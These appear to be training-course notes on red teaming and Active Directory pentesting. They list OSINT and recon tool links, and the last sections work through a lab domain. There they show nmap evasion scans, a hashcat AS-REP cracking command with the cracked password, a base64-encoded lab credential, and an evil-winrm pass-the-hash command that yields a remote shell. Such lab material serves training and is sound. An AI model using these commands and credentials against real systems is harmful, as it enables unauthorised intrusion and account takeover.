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- Hacking leaks
- LPE & Persistence.

- Active Directory Pentesting
- Basic A.D. hacking 
- Certificates and tokens

- Red Teaming methods
- OPSec (Ofuscat, Spoofs,...)

- APTs introduction
- Malware basics
- C2 Uses
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BLEACH.local : RECON

-







https://yacy.net/ 
- Tu shodan en local! Y con P2P!

- Checkers… https://github.com/4w4k3/KnockMail 
- Enumerations… https://github.com/gremwell/o365enum 

Alternative Search Engine:
https://yandex.com/ 
https://www.qwant.com/
https://www.startpage.com/ 

BLEACH.local : INTEL

https://yacy.net/
https://github.com/4w4k3/KnockMail
https://github.com/gremwell/o365enum
https://yandex.com/
https://www.qwant.com/
https://www.startpage.com/


- OHMYLEAKS! 

mail harvester https://github.com/maldevel/EmailHarvester 

DEHASHED https://github.com/sm00v/Dehashed 

udork https://github.com/m3n0sd0n4ld/uDork 

exiftool https://github.com/exiftool/exiftool 

SHODAN/FOFA https://github.com/fofapro/fofa_view 无数据

RESOLVERS …, https://github.com/m0rtem/CloudFail 

https://github.com/codingo/VHostScan 

BLEACH.local : OSINT

https://github.com/maldevel/EmailHarvester
https://github.com/sm00v/Dehashed
https://github.com/m3n0sd0n4ld/uDork
https://github.com/exiftool/exiftool
https://github.com/fofapro/fofa_view
https://github.com/m0rtem/CloudFail
https://github.com/codingo/VHostScan


BLEACH.local : NETWORK RECON

- netcat -v -z -n -w 1 192.168.1.254 1-1023
- remote: nmap ( https://github.com/leonjza/awesome-nmap-grep )
- local: netdiscover ( https://github.com/netdiscover-scanner/netdiscover )

https://github.com/leonjza/awesome-nmap-grep
https://github.com/netdiscover-scanner/netdiscover
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- IP Spoofing: nmap -sS -Pn -F target.foo
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- Fragment your packet with 16 bytes: nmap -sS -Pn -ff -F target.foo
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BLEACH.local : NETWORK RECON

- https://documentation.sailpoint.com/connectors/iqservice/hel
p/integrating_iqservice_admin/ports_used_with_ad.html 

- https://book.hacktricks.xyz/generic-methodologies-and-resou
rces/external-recon-methodology 
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  hashcat

https://hashcat.net/wiki/doku.php?id=example_hashes 

https://www.hackingarticles.in/beginner-guide-john-the-ripper-part-1/ 
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  hashcat -a 0 -m 18200 hash.code pass.list --force    

  PASSWORD: management2005    
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YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
backup@spookysec.local:backup2517860  
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PASS THE HASH
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https://www.hackplayers.com/2019/10/evil-winrm-shell-winrm-para-pentesting.html 

evil-winrm.rb -i <ip> -u user -H BD1C6503987F8FF006296118F359FA79

 

Evil-WinRM shell v2.3

 

Info: Establishing connection to remote endpoint

 

*Evil-WinRM* PS C:\Users\user\Documents>

https://www.hackplayers.com/2019/10/evil-winrm-shell-winrm-para-pentesting.html



